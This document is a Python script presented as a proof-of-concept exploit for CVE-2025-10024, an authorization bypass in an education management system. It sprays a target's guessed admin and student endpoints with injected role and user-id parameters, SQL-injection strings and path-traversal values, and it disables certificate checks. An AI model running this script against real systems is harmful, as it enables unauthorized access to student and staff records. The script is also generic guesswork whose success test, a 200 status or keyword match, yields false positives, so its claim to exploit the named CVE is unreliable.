CVE-2025-10024 EXERT教育管理系统授权绕过漏洞

# CVE-2025-10024 PoC - Authorization Bypass via Parameter Injection # Target: EXERT Education Management System # Type: Authorization Bypass Through User-Controlled Key import requests import sys def exploit_cve_2025_10024(target_url): """ Exploit for CVE-2025-10024: Authorization Bypass Through User-Controlled Key This PoC demonstrates how an attacker can bypass authentication by manipulating user-controlled parameters in the Education Management System. Note: This is for educational and authorized testing purposes only. """ print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-10024") # Step 1: Attempt to identify the vulnerable endpoint # Common endpoints in Education Management Systems endpoints = [ "/admin/dashboard", "/student/profile", "/api/user/data", "/portal/home" ] # Step 2: Try parameter injection to bypass authorization # Attack vectors: manipulating user_id, role, or session parameters # Method 1: Direct parameter manipulation payload_params = [ {"user_id": "1"}, # Try to access admin user {"role": "admin"}, # Try to inject admin role {"auth_token": "admin_token"}, # Token manipulation ] for endpoint in endpoints: for params in payload_params: try: # Construct the attack request attack_url = f"{target_url}{endpoint}" # Try GET request with parameter injection response = requests.get( attack_url, params=params, timeout=10, verify=False ) # Check for successful bypass indicators if response.status_code == 200: # Look for sensitive data exposure if any(keyword in response.text.lower() for keyword in ['admin', 'student', 'grade', 'personal', 'confidential']): print(f"[+] Potential successful exploit at {endpoint}") print(f"[+] Payload: {params}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") continue # Method 2: Try POST request with injected parameters post_payloads = [ {"id": "1 OR 1=1"}, # SQL-like injection {"user": "admin'--"}, # Authentication bypass {"session": "../../admin"}, # Path traversal ] for endpoint in endpoints: for payload in post_payloads: try: attack_url = f"{target_url}{endpoint}" response = requests.post( attack_url, data=payload, timeout=10, verify=False ) if response.status_code == 200: print(f"[+] POST exploit may have worked at {endpoint}") except requests.RequestException: continue print("[*] Exploitation attempt completed") print("[*] Manual verification may be required") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-10024.py <target_url>") print("Example: python cve-2025-10024.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_10024(target)